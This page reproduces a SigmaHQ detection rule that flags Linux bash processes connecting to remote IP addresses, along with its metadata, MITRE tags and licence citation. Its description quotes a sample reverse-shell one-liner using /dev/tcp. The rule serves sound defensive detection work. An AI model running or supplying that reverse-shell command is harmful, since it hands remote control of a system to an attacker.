Sigma rule: Linux Reverse Shell Indicator

A detection rule from the SigmaHQ repository, shown as its author published it. Dataset version ref-27f06c1663d3, updated 2022-12-25T00:00:00.000Z.

Rule

Title
Linux Reverse Shell Indicator
Status
test
Level
critical
Author
Florian Roth (Nextron Systems)
Date
2021-10-16
Modified
2022-12-25
File
rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml
Commit
ccbb0369507f796db0b0ae6854c8a2be471b9d84

Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')

Log source

product
linux
category
network_connection

Detection

selection:
    Image|endswith: '/bin/bash'
filter:
    DestinationIp:
        - '127.0.0.1'
        - '0.0.0.0'
condition: selection and not filter

False positives (as the rule lists them)

  • Unknown

Tags

  • attack.execution
  • attack.t1059.004

MITRE ATT&CK ids this rule names

References

Read on 2026-11-03T00:58:21.399Z under licence sigma-drl-1.1@d5f4c36a from https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml

Sources and licences

  • SigmaHQ

    "Linux Reverse Shell Indicator" by Florian Roth (Nextron Systems) (SigmaHQ). Rule: https://github.com/SigmaHQ/sigma/blob/ccbb0369507f796db0b0ae6854c8a2be471b9d84/rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml.
    Licensed under the Detection Rule License (DRL) 1.1: https://github.com/SigmaHQ/Detection-Rule-License

    Detection Rule License (DRL) 1.1

Cite this page

Dragons Eye Ransomware Tracker, "Sigma rule: Linux Reverse Shell Indicator",
entity page, dataset version ref-27f06c1663d3, updated 2022-12-25T00:00:00.000Z,
https://ransomware-tracker.com/detections/sigma/83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871 (accessed 2026-11-03).
Underlying source: SigmaHQ rule 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871, commit ccbb0369507f796db0b0ae6854c8a2be471b9d84.

Pages change. The dataset version identifies the data, but no archive of old versions is kept, so this citation cannot be replayed later.